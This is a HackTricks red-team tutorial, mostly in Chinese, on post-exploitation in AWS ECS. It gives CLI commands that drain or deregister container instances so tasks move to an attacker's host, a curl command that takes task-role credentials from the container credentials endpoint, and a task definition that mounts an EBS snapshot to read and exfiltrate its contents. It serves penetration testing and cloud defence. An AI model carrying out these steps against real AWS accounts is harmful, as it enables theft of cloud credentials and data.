AWS - ECS Post Exploitation

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

ECS

For more information check:

AWS - ECS Enum

主机 IAM 角色

In ECS an IAM role can be assigned to the task running inside the container. If the task is run inside an EC2 instance, the EC2 instance will have another IAM role attached to it.
这意味着如果你设法攻陷某个 ECS 实例,就有可能获取与 ECR 和 EC2 实例相关联的 IAM 角色。有关如何获取这些凭证的更多信息,请查看:

Cloud SSRF - HackTricks

Caution

IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

Privesc to node to steal other containers creds & secrets

此外,EC2 使用 docker 来运行 ECs tasks,因此如果你能逃逸到节点或访问 docker socket,就可以查看正在运行的其他容器,甚至进入其中窃取其附加的 IAM 角色

在当前主机上运行容器

此外,EC2 instance role 通常具有足够的权限更新集群中作为节点使用的 EC2 实例的 container instance state。攻击者可以将某个实例的状态修改为 DRAINING,然后 ECS 会将该实例上的所有 tasks 移除,那些作为 REPLICA 运行的任务会在不同的实例上运行,可能会落在攻击者的实例中,从而让攻击者窃取它们的 IAM 角色以及容器内的潜在敏感信息。

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

相同的技术也可以通过将 EC2 实例从集群中注销来完成。这可能较不隐蔽,但它会强制这些任务在其他实例上运行:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

最后一种强制重新执行 tasks 的技术是向 ECS 指示 task 或 container 已被停止。有 3 个可能的 API 可以做到这一点:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

使用攻击者主机加入集群(Register Container Instance)

另一种变体(比 draining 更直接)是通过将你控制的 EC2 实例注册为 container instance(ecs:RegisterContainerInstance)并设置所需的 container instance 属性以使 placement constraints 匹配,从而向集群中添加你控制的容量。一旦 task 落在你的主机上,你就可以检查/exec 进入容器并获取 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI 凭据。

参见 ECS privesc 页面中关于 ecs:RegisterContainerInstance 的部分以获取完整工作流程。

Steal sensitive info from ECR containers

EC2 实例很可能还具有 ecr:GetAuthorizationToken 权限,允许它下载镜像(你可以在镜像中搜索敏感信息)。

Steal Task Role Credentials via ecs:ExecuteCommand

如果 task 上启用了 ExecuteCommand,具有 ecs:ExecuteCommand + ecs:DescribeTasks 的主体可以在运行中的容器内打开 shell,然后查询task credentials endpoint 来获取 task role 凭据:

  • 在容器内部:curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
  • 使用返回的 AccessKeyId/SecretAccessKey/Token 以 task role 身份调用 AWS API

参见 ECS privilege escalation 页面以获取枚举和命令示例。

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

滥用原生 ECS EBS 集成(2024+),可以将现有 EBS 快照的内容直接挂载到新的 ECS task/service 内,并从容器内部读取其数据。

  • 最低需要:

  • ecs:RegisterTaskDefinition

  • 以下之一:ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole 针对:

    • 用于 volumes 的 ECS infrastructure role(策略:service-role/AmazonECSInfrastructureRolePolicyForVolumes
    • task definition 所引用的 task execution/task roles
  • 如果快照使用 CMK 加密:infra role 需要 KMS 权限(上述 AWS 托管策略包含对 AWS 托管密钥所需的 KMS 授权)。

  • 影响:在容器内读取快照中的任意磁盘内容(例如数据库文件)并通过网络/日志等方式外传。

步骤(Fargate 示例):

  1. 创建 ECS infrastructure role(如果不存在)并附加托管策略:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. 注册一个带有标记为 configuredAtLaunch 的 volume 的 task definition 并将其挂载到 container 中。示例(打印 secret 然后休眠):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. 通过 volumeConfigurations.managedEBSVolume 传递 EBS snapshot 来创建或更新服务(需要 infra 角色具有 iam:PassRole)。示例:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. 当 task 启动时,container 可以在配置的挂载路径(例如 /loot)读取 snapshot 内容。Exfiltrate via the task’s network/logs。

清理:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

参考资料

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks